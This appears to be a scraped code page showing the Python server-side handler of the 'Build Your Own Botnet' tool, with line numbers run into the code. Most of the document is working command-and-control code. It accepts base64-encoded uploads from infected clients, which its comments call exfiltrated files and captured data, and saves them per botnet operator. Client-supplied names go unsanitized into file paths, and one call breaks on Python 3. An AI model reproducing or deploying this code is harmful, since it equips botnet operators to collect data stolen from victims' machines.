Path: blob/master/web-gui/buildyourownbotnet/core/handler.py
1292 views
#!/usr/bin/python1'POST Request Handler (Build Your Own Botnet)'23# standard library4import os5import sys6import json7import string8import base649import random10import requests1112if sys.version_info[0] < 3:13from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer14else:15from http.server import BaseHTTPRequestHandler, HTTPServer161718OUTPUT_DIR = ''192021class Handler(BaseHTTPRequestHandler):22"""23HTTP POST request handler for clients uploading24captured images/data to the server25"""26def _set_headers(self):27self.send_response(200)28self.send_header('Content-type', 'text/html')29self.end_headers()303132def do_POST(self):33"""34Handle incoming HTTP POST request3536"""37self._set_headers()38self.data_string = self.rfile.read(int(self.headers['Content-Length']))39self.send_response(200)40self.end_headers()4142json_data = json.loads(self.data_string)4344b64_data = json_data.get('data')45filetype = json_data.get('type')46owner = json_data.get('owner')47module = json_data.get('module')48session = json_data.get('session')49filename = json_data.get('filename')5051# decode any base64 values52data = base64.b64decode(b64_data)53if session.startswith('_b64'):54session = base64.b64decode(session[6:]).decode('ascii')5556# add . to file extension if necessary57if not filetype.startswith('.'):58filetype = '.' + filetype5960# generate random filename if not specified61if not filename:62filename = str().join([random.choice(string.lowercase + string.digits) for _ in range(3)]) + filetype6364output_path = os.path.join(OUTPUT_DIR, owner, 'files', filename)6566# add exfiltrated file to database via internal API call67requests.post("http://0.0.0.0/api/file/add", {"filename": filename, "owner": owner, "module": module, "session": session})6869# save exfiltrated file to user directory70with open(output_path, 'wb') as fp:71fp.write(data)727374def run(server_class=HTTPServer, handler_class=Handler, port=80):75httpd = server_class(('0.0.0.0', port), handler_class)76httpd.serve_forever()777879def main():80global OUTPUT_DIR81port = int(sys.argv[1])82OUTPUT_DIR = sys.argv[2]83run(port=port)848586if __name__ == '__main__':87main()888990